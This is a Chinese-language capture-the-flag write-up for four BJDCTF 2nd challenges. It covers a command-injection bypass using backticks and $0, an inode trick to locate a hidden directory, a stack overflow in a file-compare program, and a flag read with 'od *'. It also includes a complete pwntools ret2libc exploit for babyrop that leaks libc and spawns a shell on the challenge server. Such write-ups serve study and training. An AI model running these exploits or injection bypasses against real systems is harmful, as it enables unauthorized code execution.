[BJDCTF 2nd]rci

很不错的题目
不需要写exp,直接nc做就行了

逆向分析

main函数,有一个init函数,我们进去看看

在init函数里面,程序首先到/tmp文件夹下面新建了若干文件夹,然后随机选一个文件夹进入,记为“藏有imagin”的文件夹,然后提示我们获得道具ls

在下面我们可以向command写入东西,然后system(command),但是之前有一个检查check1
我们只能输入a-z和A-Z和“/” “ ” “-”三个特殊字符

接下来是特殊的知识点了,题目考我们关于linux的熟悉度

inode

理解inode,要从文件储存说起。
文件存储在硬盘上,硬盘的最小存储单位叫做“扇区”(Sector)。每个扇区储存512字节(相当于0.5KB)。
操作系统读取硬盘的时候,不会一个个扇区的读取,这样效率太低,而是一次性连续读取多个扇区,即一次性读取一个“块”(block)。这种由多个扇区组成的“块”,是文件存取的最小单位。“块”的大小,最常见的是4KB,即连续八个sector组成一个block。
文件数据都储存在“块”中,那么很显然,我们还必须找到一个地方储存文件的“元信息”,比如文件的创建者、文件的创建日期、文件的大小等等。这种储存文件元信息的区域就叫做inode,中文译名为"索引节点"。
每一个文件都有对应的inode,里面包含了与该文件有关的一些信息。

万物皆文件,文件夹也有其对应的inode号,我们可以通过ls -i查看inode号码
我们开两个shell,然后一个输入 ls -ali 查看当前目录下的inode,然后再另外一个输入ls -ali /tmp,就可以查看tmp文件夹下的inode号,如下图


然后两个inode号相同的就是我们当前所在目录

可以看到我们获得残缺的shell
有个check2进行检查

两种绕过方法,一个是用拼接符"``",可以拿shell

第二个是用$0来绕过

diff

挺有新意的一个题
ssh登陆服务器

然后提示我们这个程序怎么用,比较两个文件啥的,我们用scp给宕下来

scp -P 29477 ctf@node3.buuoj.cn:/home/ctf/diff /ctf/work/pwn-enclo/

然后分析一下,保护全关,主要逻辑就是比较两个文件的内容

点进去compare函数

可以发现有个栈溢出
然后print函数可以输出文件一的内容,但是前提是file1=file2,所以我们不能走正常流程,直接栈溢出给劫持到输出file1的地方

payload:

babyrop

from LibcSearcher import *
from pwn import *

local = 0

binary = "bjdctf_2020_babyrop"

if local == 1:
	p = process(binary)
else:
	p = remote("node3.buuoj.cn",28510)

def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

elf = ELF(binary)
# puts(puts@got)
puts = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.sym['main']

offset = 0x28
pop_rdi_ret = 0x0000000000400733
payload = offset * 'a' + p64(pop_rdi_ret) + p64(puts) + p64(puts_plt) + p64(main)	# let puts@plt puts puts@got
p.recvuntil('Pull up your sword and tell me u story!')
p.send(payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')

print "[*] libc_base:",hex(libc_base)

system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

payload = offset * 'a' + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(0xdeadbeef)
p.recvuntil('Pull up your sword and tell me u story!')
p.send(payload)

#gdb.attach(p)
p.interactive()

test

过滤了flag,并且flag没有读权限,所以我们只能借用它的test程序来打,有od命令可以用,直接od *